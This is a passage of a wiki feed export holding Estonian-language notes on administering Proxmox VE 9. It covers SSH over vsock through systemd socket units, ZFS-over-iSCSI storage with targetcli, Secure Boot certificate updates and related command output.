&lt;br /&gt;
Kusjuures vastav systemd ssh listen osakond jääb nagu on, 0.0.0.0/0 peale&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# grep ^Lis /usr/lib/systemd/system/ssh.socket&lt;br /&gt;
ListenStream=0.0.0.0:22&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* väidetavalt on see vajalik mingi sistemise systemd/ssh jne loogika toimimiseks.&lt;br /&gt;
&lt;br /&gt;
ja laadida kerneli moodul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# modprobe vmw_vsock_virtio_transport&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ubuntu 24.04 keskkonnas on tehniliselt kõik vajalik vsock kasutamiseks olemas, tuleb lisada kaks system elementi&lt;br /&gt;
&lt;br /&gt;
* sshd-vsock.socket - õpetab systemd pid=1 protsessile kuulama võrgus 22/vsock pordil&lt;br /&gt;
* sshd-vsock@.service - õpetab 22/vsock pordile sissetuleva pöördumist üleandmist sshd protsessile&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# ls -ld /etc/systemd/system/sshd-vsock*&lt;br /&gt;
-rw-r--r-- 1 root root 380 Jun 20 15:38 /etc/systemd/system/sshd-vsock@.service&lt;br /&gt;
-rw-r--r-- 1 root root 265 Jun 20 13:33 /etc/systemd/system/sshd-vsock.socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# cat /etc/systemd/system/sshd-vsock.socket&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=OpenSSH Server Socket (AF_VSOCK Network-Independent Line)&lt;br /&gt;
Documentation=man:sshd(8) man:sshd_config(5)&lt;br /&gt;
# Notice: No &amp;quot;Conflicts=&amp;quot; or &amp;quot;Before=&amp;quot; entries are needed here!&lt;br /&gt;
&lt;br /&gt;
[Socket]&lt;br /&gt;
ListenStream=vsock::22&lt;br /&gt;
Accept=yes&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
WantedBy=sockets.target&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# cat /etc/systemd/system/sshd-vsock@.service&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=OpenSSH Server Socket Per-Connection Daemon (VSOCK Backup)&lt;br /&gt;
Documentation=man:sshd(8) man:sshd_config(5)&lt;br /&gt;
After=auditd.service&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
EnvironmentFile=-/etc/default/ssh&lt;br /&gt;
# The -i flag forces sshd to run in &amp;quot;inetd&amp;quot; mode to accept the raw systemd socket&lt;br /&gt;
ExecStart=-/usr/sbin/sshd -i $SSHD_OPTS&lt;br /&gt;
StandardInput=socket&lt;br /&gt;
RuntimeDirectory=sshd&lt;br /&gt;
RuntimeDirectoryMode=0755&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl daemon-reload&lt;br /&gt;
root@zabbix-pub-01:~# systemctl enable --now sshd-vsock.socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena kuulatakse 22/vsock peal&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl list-sockets | grep ssh&lt;br /&gt;
192.168.10.194:22                     ssh.socket                      ssh.service&lt;br /&gt;
vsock::22                             sshd-vsock.socket               -&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Proxmox VE Firewall===&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Probleeme tekitada võiv kombinatsioon, vältida&lt;br /&gt;
&lt;br /&gt;
* Hardware -&amp;gt; network device -&amp;gt; Firewall - Enable&lt;br /&gt;
* Firewall -&amp;gt; Option - No&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://pve.proxmox.com/pve-docs-7/chapter-pve-firewall.html&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
Tundub, et pve 9 ja qemu 11 kandis on hakanud ilmuma 'x86_64 v2 aes' virtuaalse protsessori kasutamisel sellised teated, nt 'host' protsessoriga neid ei ole&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# pveversion&lt;br /&gt;
pve-manager/9.2.3/d0fde103346cf89a (running kernel: 7.0.6-2-pve)&lt;br /&gt;
&lt;br /&gt;
root@pve-wrx90e:~# dmesg | grep WRMSR | tail -n 4&lt;br /&gt;
[30021.694536] kvm: kvm [323176]: vcpu0, guest rIP: 0xffffffffb807e744 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
[30090.614209] kvm: kvm [324048]: vcpu0, guest rIP: 0xffffffff84e6d9b4 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
[30308.798770] kvm: kvm [326811]: vcpu0, guest rIP: 0xffffffff8d67e744 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
[180421.745980] kvm: kvm [3632532]: vcpu0, guest rIP: 0xffffffff81242297 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===arm64 platvormi emuleerimine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et PVE v. 9.2 juures ilmub webgui peale vcpu valik 'arm (64-bit)'&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260614-pve-01.png|600px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* tulemusena ta töötab, aga väga nö rahulikult&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# apt-get install pve-edk2-firmware-aarch6&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Proxmox_v._9_kasutamine&amp;diff=4254</id>
		<title>Proxmox v. 9 kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Proxmox_v._9_kasutamine&amp;diff=4254"/>
		<updated>2026-06-20T14:26:26Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Üle vsock ssh kasutamine - Ubuntu 24.04 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Virtuaalne riistvara===&lt;br /&gt;
&lt;br /&gt;
Klaviatuur ja hiir&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systool -b serio&lt;br /&gt;
Bus = &amp;quot;serio&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Device = &amp;quot;serio0&amp;quot;&lt;br /&gt;
  Device = &amp;quot;serio1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~# systool -b serio -v&lt;br /&gt;
Bus = &amp;quot;serio&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Device = &amp;quot;serio0&amp;quot;&lt;br /&gt;
  Device path = &amp;quot;/sys/devices/platform/i8042/serio0&amp;quot;&lt;br /&gt;
    bind_mode           = &amp;quot;auto&amp;quot;&lt;br /&gt;
    description         = &amp;quot;i8042 KBD port&amp;quot;&lt;br /&gt;
    drvctl              = &amp;lt;store method only&amp;gt;&lt;br /&gt;
    err_count           = &amp;quot;0&amp;quot;&lt;br /&gt;
    extra               = &amp;quot;0&amp;quot;&lt;br /&gt;
    firmware_id         = &amp;quot;PNP: PNP0303&amp;quot;&lt;br /&gt;
    force_release       = &amp;quot;369-370&amp;quot;&lt;br /&gt;
    modalias            = &amp;quot;serio:ty06pr00id00ex00&amp;quot;&lt;br /&gt;
    scroll              = &amp;quot;0&amp;quot;&lt;br /&gt;
    set                 = &amp;quot;2&amp;quot;&lt;br /&gt;
    softraw             = &amp;quot;1&amp;quot;&lt;br /&gt;
    softrepeat          = &amp;quot;0&amp;quot;&lt;br /&gt;
    uevent              = &amp;quot;DRIVER=atkbd&lt;br /&gt;
SERIO_TYPE=06&lt;br /&gt;
SERIO_PROTO=00&lt;br /&gt;
SERIO_ID=00&lt;br /&gt;
SERIO_EXTRA=00&lt;br /&gt;
MODALIAS=serio:ty06pr00id00ex00&lt;br /&gt;
SERIO_FIRMWARE_ID=PNP: PNP0303&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Device = &amp;quot;serio1&amp;quot;&lt;br /&gt;
  Device path = &amp;quot;/sys/devices/platform/i8042/serio1&amp;quot;&lt;br /&gt;
    bind_mode           = &amp;quot;auto&amp;quot;&lt;br /&gt;
    description         = &amp;quot;i8042 AUX port&amp;quot;&lt;br /&gt;
    drvctl              = &amp;lt;store method only&amp;gt;&lt;br /&gt;
    firmware_id         = &amp;quot;PNP: PNP0f13&amp;quot;&lt;br /&gt;
    modalias            = &amp;quot;serio:ty01pr00id00ex00&amp;quot;&lt;br /&gt;
    protocol            = &amp;quot;VirtualPS/2&amp;quot;&lt;br /&gt;
    rate                = &amp;quot;100&amp;quot;&lt;br /&gt;
    resetafter          = &amp;quot;5&amp;quot;&lt;br /&gt;
    resolution          = &amp;quot;200&amp;quot;&lt;br /&gt;
    resync_time         = &amp;quot;0&amp;quot;&lt;br /&gt;
    uevent              = &amp;quot;DRIVER=psmouse&lt;br /&gt;
SERIO_TYPE=01&lt;br /&gt;
SERIO_PROTO=00&lt;br /&gt;
SERIO_ID=00&lt;br /&gt;
SERIO_EXTRA=00&lt;br /&gt;
MODALIAS=serio:ty01pr00id00ex00&lt;br /&gt;
SERIO_FIRMWARE_ID=PNP: PNP0f13&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===remote zfs over iscsi===&lt;br /&gt;
&lt;br /&gt;
====Mõisted====&lt;br /&gt;
&lt;br /&gt;
* FUA (Forced Unit Access) - &lt;br /&gt;
* WCE (Write Cache Enable) -&lt;br /&gt;
* TPU (Thin Provisioning UNMAP) - &lt;br /&gt;
* TPWS (WRITE_SAME / Zeroing) -&lt;br /&gt;
* VFS (virtual file system) -&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Virtuaalse arvuti vaatest andmetega tegelemine&lt;br /&gt;
&lt;br /&gt;
 pve virtuaalne arvuti -&amp;gt; pve füüsiline arvuti -&amp;gt; over-iscsi-zfs-storage-server&lt;br /&gt;
&lt;br /&gt;
Sõltuvalt qemu virtuaalse arvuti virtuaalse plokkseadme 'Cache' seadistustest on võimalik erinevate cache komplektide-kombinatsioonide kasutamine andmete liikumisel virtuaalses arvutis töötava protsessi juurest zfs storage serveri füüsilisele plokkseadmele. Tundub, et 2025 aastal on kõige keskmisemale kasutusele sobiv valik 'Cache: nocache'&lt;br /&gt;
&lt;br /&gt;
* hea jõudlus&lt;br /&gt;
* hea terviklus&lt;br /&gt;
&lt;br /&gt;
Andmete liikumise teekond&lt;br /&gt;
&lt;br /&gt;
* virtuaalse arvuti rakendus&lt;br /&gt;
* virtuaalse arvuti vfs failisüsteem&lt;br /&gt;
* virtuaalse arvuti page cache (vfs'ga seotud)&lt;br /&gt;
* virtuaalse arvuti ext4 failisüsteem (ext4 draiver)&lt;br /&gt;
* virtuaalse arvuti lvm&lt;br /&gt;
* virtuaalse arvuti fdisk partitsioonid&lt;br /&gt;
* virtuaalse arvuti virtuaalne sata vms kontroller&lt;br /&gt;
* füüsilise arvuti qemu protsess&lt;br /&gt;
* füüsilise arvuti open-iscsi poolt teostatud /dev/sda scsi plokkseade (puudub cache)&lt;br /&gt;
* füüsilises arvutis storage'ga seotud cache puudub&lt;br /&gt;
* storage arvuti targetcli (puutub cache)&lt;br /&gt;
* storage arvuti zfs ressurss (sisaldab zfs cache)&lt;br /&gt;
* storage avuti füüsilise plokkseadme controller-cache&lt;br /&gt;
&lt;br /&gt;
'Cache: nocache' parameeter on üks vähestest parameetritest, mis avaldab mõju nö mõlemas suunas&lt;br /&gt;
&lt;br /&gt;
* virtuaalse arvuti seest kasutada olevale storage ressursile&lt;br /&gt;
* kuidas füüsilise arvuti sees virtuaalsele arvutile vastav qemu protsess kasutab allolevat plokkseadet&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis kirjeldatakse nelja komponendi seadistamist&lt;br /&gt;
&lt;br /&gt;
* virtuaalsele arvutile vastav qemu protsess&lt;br /&gt;
* iscsi initiator&lt;br /&gt;
* iscsi target&lt;br /&gt;
* zfs lahendus&lt;br /&gt;
&lt;br /&gt;
====zfs lahendus iscsi target arvutis====&lt;br /&gt;
&lt;br /&gt;
Füüsilised kettad on kasutusel nö kõige tavalisemal viisil, eriti tähendab see, et ketastel on sisselülitatud nö tavaline controller-cache&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# lsscsi -s | grep 4.00T&lt;br /&gt;
[2:0:0:0]    disk    ATA      CT4000MX500SSD1  045   /dev/sdc   4.00TB&lt;br /&gt;
[3:0:0:0]    disk    ATA      CT4000MX500SSD1  045   /dev/sdd   4.00TB&lt;br /&gt;
[N:0:1:1]    disk    Samsung SSD 990 PRO with Heatsink 4TB__1   /dev/nvme0n1  4.00TB&lt;br /&gt;
[N:1:1:1]    disk    Samsung SSD 990 PRO with Heatsink 4TB__1   /dev/nvme1n1  4.00TB&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
zfs lülituse moodustamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat create-zpool-raidz1-x4.sh&lt;br /&gt;
zpool create -o ashift=13 zp_data raidz1 \&lt;br /&gt;
  /dev/disk/by-id/ata-CT4000MX500SSD1_2246E686FE58 \&lt;br /&gt;
  /dev/disk/by-id/ata-CT4000MX500SSD1_2246E686FF7B \&lt;br /&gt;
  /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_with_Heatsink_4TB_S7DSNJ0X501827B \&lt;br /&gt;
  /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_with_Heatsink_4TB_S7DSNJ0X501856Z&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
zfs cache töötab tavalisel viisil, st on sisse lülitatud olekus, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# zfs get all | grep -i cache | grep vm-106-disk-0&lt;br /&gt;
zp_crucial_mx_4/vm-106-disk-0     primarycache          all                     default&lt;br /&gt;
zp_crucial_mx_4/vm-106-disk-0     secondarycache        all                     default&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====targetcli iscsi target arvutis====&lt;br /&gt;
&lt;br /&gt;
targetcli seadistamine koosneb kahest tegevusest&lt;br /&gt;
&lt;br /&gt;
* zfs põhise alus-storage storage publitseerimine&lt;br /&gt;
* publitseerimisel sobivalt scsi protokolli parameetrite kasutamine (eriti cache, sparse jms esitamine)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/&amp;gt; /iscsi create iqn.2025-10.moraal.srv:storage.zfstarget&lt;br /&gt;
/&amp;gt; /iscsi/iqn.2025-10.moraal.srv:storage.zfstarget/tpg1/acls  create iqn.1993-08.org.debian:01:4cbe32bd26b&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sobiv seadistus, mis tuleb plokk-ressursi jaoks kehtestada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# targetcli /backstores/block/zp_crucial_mx_4-vm-108613-disk-4 get attribute | grep =&lt;br /&gt;
======================&lt;br /&gt;
alua_support=1&lt;br /&gt;
block_size=512&lt;br /&gt;
emulate_3pc=1&lt;br /&gt;
emulate_caw=1&lt;br /&gt;
emulate_dpo=1&lt;br /&gt;
emulate_fua_read=1&lt;br /&gt;
emulate_fua_write=1&lt;br /&gt;
emulate_model_alias=1&lt;br /&gt;
emulate_pr=1&lt;br /&gt;
emulate_rest_reord=0&lt;br /&gt;
emulate_rsoc=1&lt;br /&gt;
emulate_tas=1&lt;br /&gt;
emulate_tpu=0&lt;br /&gt;
emulate_tpws=0&lt;br /&gt;
emulate_ua_intlck_ctrl=0&lt;br /&gt;
emulate_write_cache=0&lt;br /&gt;
enforce_pr_isids=1&lt;br /&gt;
force_pr_aptpl=0&lt;br /&gt;
hw_block_size=512 [ro]&lt;br /&gt;
hw_max_sectors=32768 [ro]&lt;br /&gt;
hw_pi_prot_type=0 [ro]&lt;br /&gt;
hw_queue_depth=128 [ro]&lt;br /&gt;
is_nonrot=1&lt;br /&gt;
max_unmap_block_desc_count=1&lt;br /&gt;
max_unmap_lba_count=131072&lt;br /&gt;
max_write_same_len=65535&lt;br /&gt;
optimal_sectors=32768&lt;br /&gt;
pgr_support=1&lt;br /&gt;
pi_prot_format=0&lt;br /&gt;
pi_prot_type=0&lt;br /&gt;
pi_prot_verify=0&lt;br /&gt;
queue_depth=128&lt;br /&gt;
submit_type=0&lt;br /&gt;
unmap_granularity=8&lt;br /&gt;
unmap_granularity_alignment=0&lt;br /&gt;
unmap_zeroes_data=0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
Muudatuse tegemine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/backstores/b...108613-disk-4&amp;gt; set attribute emulate_tpws=0&lt;br /&gt;
/backstores/b...108613-disk-4&amp;gt; set attribute emulate_tpu=0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutamine paistab välja selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# targetcli&lt;br /&gt;
targetcli shell version 2.1.53&lt;br /&gt;
Copyright 2011-2013 by Datera, Inc and others.&lt;br /&gt;
For help on commands, type 'help'.&lt;br /&gt;
&lt;br /&gt;
/&amp;gt; ls&lt;br /&gt;
o- / ......................................................................................................................... [...]&lt;br /&gt;
  o- backstores .............................................................................................................. [...]&lt;br /&gt;
  | o- block .................................................................................................. [Storage Objects: 3]&lt;br /&gt;
  | | o- zp_crucial_mx_4-vm-100-disk-0 ......................... [/dev/zp_crucial_mx_4/vm-100-disk-0 (20.0GiB) write-thru activated]&lt;br /&gt;
  | | | o- alua ................................................................................................... [ALUA Groups: 1]&lt;br /&gt;
  | | |   o- default_tg_pt_gp ....................................................................... [ALUA state: Active/optimized]&lt;br /&gt;
  | | o- zp_crucial_mx_4-vm-106-disk-5 ......................... [/dev/zp_crucial_mx_4/vm-106-disk-5 (16.0GiB) write-thru activated]&lt;br /&gt;
  | | | o- alua ................................................................................................... [ALUA Groups: 1]&lt;br /&gt;
  | | |   o- default_tg_pt_gp ....................................................................... [ALUA state: Active/optimized]&lt;br /&gt;
  | | o- zp_crucial_mx_4-vm-108613-disk-1 .................... [/dev/zp_crucial_mx_4/vm-108613-disk-1 (4.0GiB) write-thru activated]&lt;br /&gt;
  | |   o- alua ................................................................................................... [ALUA Groups: 1]&lt;br /&gt;
  | |     o- default_tg_pt_gp ....................................................................... [ALUA state: Active/optimized]&lt;br /&gt;
  | o- fileio ................................................................................................. [Storage Objects: 0]&lt;br /&gt;
  | o- pscsi .................................................................................................. [Storage Objects: 0]&lt;br /&gt;
  | o- ramdisk ................................................................................................ [Storage Objects: 0]&lt;br /&gt;
  o- iscsi ............................................................................................................ [Targets: 1]&lt;br /&gt;
  | o- iqn.2025-10.moraal.srv:storage.zfstarget .......................................................................... [TPGs: 1]&lt;br /&gt;
  |   o- tpg1 ............................................................................................... [no-gen-acls, no-auth]&lt;br /&gt;
  |     o- acls .......................................................................................................... [ACLs: 1]&lt;br /&gt;
  |     | o- iqn.1993-08.org.debian:01:4cbe32bd26b ................................................................ [Mapped LUNs: 3]&lt;br /&gt;
  |     |   o- mapped_lun0 ...................................................... [lun0 block/zp_crucial_mx_4-vm-108613-disk-1 (rw)]&lt;br /&gt;
  |     |   o- mapped_lun1 ......................................................... [lun1 block/zp_crucial_mx_4-vm-106-disk-5 (rw)]&lt;br /&gt;
  |     |   o- mapped_lun2 ......................................................... [lun2 block/zp_crucial_mx_4-vm-100-disk-0 (rw)]&lt;br /&gt;
  |     o- luns .......................................................................................................... [LUNs: 3]&lt;br /&gt;
  |     | o- lun0 .............. [block/zp_crucial_mx_4-vm-108613-disk-1 (/dev/zp_crucial_mx_4/vm-108613-disk-1) (default_tg_pt_gp)]&lt;br /&gt;
  |     | o- lun1 .................... [block/zp_crucial_mx_4-vm-106-disk-5 (/dev/zp_crucial_mx_4/vm-106-disk-5) (default_tg_pt_gp)]&lt;br /&gt;
  |     | o- lun2 .................... [block/zp_crucial_mx_4-vm-100-disk-0 (/dev/zp_crucial_mx_4/vm-100-disk-0) (default_tg_pt_gp)]&lt;br /&gt;
  |     o- portals .................................................................................................... [Portals: 1]&lt;br /&gt;
  |       o- 0.0.0.0:3260 ..................................................................................................... [OK]&lt;br /&gt;
  o- loopback ......................................................................................................... [Targets: 0]&lt;br /&gt;
  o- srpt ............................................................................................................. [Targets: 0]&lt;br /&gt;
  o- vhost ............................................................................................................ [Targets: 0]&lt;br /&gt;
  o- xen-pvscsi ....................................................................................................... [Targets: 0]&lt;br /&gt;
/&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisaks saab portaali käest küsida attribute ja parameter komplekte, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pm60-trt:~# targetcli /iscsi/iqn.2022-09.ee.moraal:pbs-pub/tpg1 get parameter | grep =&lt;br /&gt;
======================&lt;br /&gt;
AuthMethod=CHAP&lt;br /&gt;
DataDigest=CRC32C,None&lt;br /&gt;
DataPDUInOrder=Yes&lt;br /&gt;
DataSequenceInOrder=Yes&lt;br /&gt;
DefaultTime2Retain=20&lt;br /&gt;
DefaultTime2Wait=2&lt;br /&gt;
ErrorRecoveryLevel=0&lt;br /&gt;
FirstBurstLength=65536&lt;br /&gt;
HeaderDigest=CRC32C,None&lt;br /&gt;
IFMarkInt=Reject&lt;br /&gt;
IFMarker=No&lt;br /&gt;
ImmediateData=Yes&lt;br /&gt;
InitialR2T=Yes&lt;br /&gt;
MaxBurstLength=262144&lt;br /&gt;
MaxConnections=1&lt;br /&gt;
MaxOutstandingR2T=1&lt;br /&gt;
MaxRecvDataSegmentLength=8192&lt;br /&gt;
MaxXmitDataSegmentLength=262144&lt;br /&gt;
OFMarkInt=Reject&lt;br /&gt;
OFMarker=No&lt;br /&gt;
TargetAlias=LIO Target&lt;br /&gt;
&lt;br /&gt;
root@pm60-trt:~# targetcli /iscsi/iqn.2022-09.ee.moraal:pbs-pub/tpg1 get attribute | grep =&lt;br /&gt;
======================&lt;br /&gt;
authentication=1&lt;br /&gt;
cache_dynamic_acls=0&lt;br /&gt;
default_cmdsn_depth=64&lt;br /&gt;
default_erl=0&lt;br /&gt;
demo_mode_discovery=1&lt;br /&gt;
demo_mode_write_protect=1&lt;br /&gt;
fabric_prot_type=0&lt;br /&gt;
generate_node_acls=0&lt;br /&gt;
login_keys_workaround=1&lt;br /&gt;
login_timeout=15&lt;br /&gt;
prod_mode_write_protect=0&lt;br /&gt;
t10_pi=0&lt;br /&gt;
tpg_enabled_sendtargets=1&lt;br /&gt;
root@pm60-trt:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* parameter - võrgus kõneldavad asjad&lt;br /&gt;
* attribute - lokaalselt olukorda määratlevad asjad&lt;br /&gt;
&lt;br /&gt;
====iscsi initiator====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====qemu protsess====&lt;br /&gt;
&lt;br /&gt;
Kasutamine&lt;br /&gt;
&lt;br /&gt;
[[Fail:20251019-remote-zfs-over-iscsi-01.png|600px]]&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Secure boot - nn Microsoft 2023 sertifikaat===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Olemasolev olukord enne muudatust====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-01:~# apt-get install efitools&lt;br /&gt;
root@pwrk-01:~# (printf &amp;quot;db: \n&amp;quot;; efi-readvar -v db; printf &amp;quot;\nKEK: \n&amp;quot;; efi-readvar -v KEK) | grep -E &amp;quot;2011|2023&amp;quot;&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Windows Production PCA 2011&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation UEFI CA 2011&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation KEK CA 2011&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Muudatus====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# qm enroll-efi-keys 902198&lt;br /&gt;
skipping - OS type is neither Windows 10 nor Windows 11&lt;br /&gt;
&lt;br /&gt;
root@pve-wrx90e:~# qm set 902198 --ostype win10&lt;br /&gt;
root@pve-wrx90e:~# qm enroll-efi-keys 902198&lt;br /&gt;
root@pve-wrx90e:~# qm set 902198 --ostype l26&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
from&lt;br /&gt;
&lt;br /&gt;
efidisk0: si-dpool:vm-902198-disk-0,efitype=4m,pre-enrolled-keys=1,size=1M&lt;br /&gt;
&lt;br /&gt;
to&lt;br /&gt;
&lt;br /&gt;
efidisk0: si-dpool:vm-902198-disk-0,efitype=4m,ms-cert=2023w,pre-enrolled-keys=1,size=1M&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Uus olukord peale muudatust====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# (printf &amp;quot;db: \n&amp;quot;; efi-readvar -v db; printf &amp;quot;\nKEK: \n&amp;quot;; efi-readvar -v KEK) | grep -E &amp;quot;2011|2023&amp;quot;&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Windows Production PCA 2011&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation UEFI CA 2011&lt;br /&gt;
            C=US, O=Microsoft Corporation, CN=Microsoft UEFI CA 2023&lt;br /&gt;
            C=US, O=Microsoft Corporation, CN=Windows UEFI CA 2023&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation KEK CA 2011&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====WebGUI abil====&lt;br /&gt;
&lt;br /&gt;
WebGUI abil vm sertifikaat muudatus&lt;br /&gt;
&lt;br /&gt;
 Disk Action -&amp;gt; Enroll Updated Certificates&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260611-pve-ms-cert-2023-01.png|700px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
====pveupdate====&lt;br /&gt;
&lt;br /&gt;
* uuendab webgui liidese sertifikaadi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# pveupdate&lt;br /&gt;
Loading ACME account details&lt;br /&gt;
Placing ACME order&lt;br /&gt;
Order URL: https://acme-v02.api.letsencrypt.org/acme/order/2232348225/504476182801&lt;br /&gt;
&lt;br /&gt;
Getting authorization details from 'https://acme-v02.api.letsencrypt.org/acme/authz/2232348225/694056506271'&lt;br /&gt;
